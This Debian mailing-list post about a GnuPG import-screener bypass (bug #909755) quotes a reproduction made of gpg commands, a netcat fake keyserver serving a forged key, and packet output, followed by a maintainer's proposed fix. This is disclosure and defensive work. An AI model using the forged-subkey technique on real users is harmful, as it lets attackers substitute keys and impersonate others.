[pkg-gnupg-maint] Bug#909755: Bug#909755: gnupg: import screener bypass via crafted subkey

[Daniel Kahn Gillmor]

Control: forwarded 909755 https://dev.gnupg.org/T3398

On Thu 2018-09-27 19:37:08 +0200, Jakub Wilk wrote:
> To fix #725411, an import screener was implemented, which rejects keys 
> with fingerprints other than those that were requested by user.
>
> Unfortunately, it's possible to bypass the import screener by appending 
> a crafted subkey to an arbitrary key:
>
>    $ gpg --keyserver keyserver.ubuntu.com --recv-key 0EE5BE979282D80B9F7540F1CCD2ED94D21739E9
>    gpg: key CCD2ED94D21739E9: public key "Daniel Kahn Gillmor <dkg at fifthhorseman.net>" imported
>    gpg: no ultimately trusted keys found
>    gpg: Total number processed: 1
>    gpg:               imported: 1
>
>    $ (printf 'HTTP/1.0 200 OK\n\n'; cat fakeCCD2ED94D21739E9.pgp) | nc.openbsd -N -l -p 11371 > /dev/null &  # poor man's malicious key server
>
>    $ gpg --keyserver localhost --recv-key 0EE5BE979282D80B9F7540F1CCD2ED94D21739E9
>    gpg: key 60B0EEAA28CB19E1: "Totally Legit Signing Key <mallory at example.org>" not changed
>    gpg: Total number processed: 1
>    gpg:              unchanged: 1
>
>    $ gpg --list-packets fakeCCD2ED94D21739E9.pgp | tail -n6
>    # off=402 ctb=b9 tag=14 hlen=3 plen=525
>    :public sub key packet:
>            version 4, algo 1, created 1180812858, expires 0
>            pkey[0]: [4096 bits]
>            pkey[1]: [17 bits]
>            keyid: CCD2ED94D21739E9
>
> The subkey was made by taking the original key's public key and changing 
> the packet's tag, so it has the same fingerprint as the original key.

yes, this is clearly a possible attack.  It has been discussed with
upstream in detail, and upstream knows about it as
https://dev.gnupg.org/T3398, where i've also offered a proposed
solution, which i'll copy here:


    By default, when doing `--receive-keys` with a fingerprint, the
    screener should only admit OpenPGP certificates that include a key
    matching the fingerprint //which has a valid signature in the
    certificate itself//.  This means, for example, that either this is
    the fingerprint of the primary key itself, or it is the fingerprint
    of a signing-capable subkey that has a well-formed (and
    cryptographically valid) public key binding cross-signature.

    This would mean that:

    * refreshes of a curated keyring would still work

    * you could still fetch a key based on the "Issuer Fingerprint" (or
      "Issuer Key ID") of a signature (in order to validate the
      signature) even if it was a subkey, because signing keys need
      cross-sigs

    However:

    * you could not necessarily use `--receive-keys` for retreiving a
      key based on the embedded key ID in a PKESK (e.g. "let's see who
      else this message appears to have been encrypted to").  I think
      this is a minor use case by comparison with the above two use
      cases, and it is less security-sensitive.  Perhaps we could add an
      additional option (`--keyserver-options
      no-require-signature-when-fetching-by-fpr`?) that would re-enable
      this use case, if we want to support it.


Regards,

        --dkg
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 227 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-gnupg-maint/attachments/20180928/4f03fec3/attachment.sig>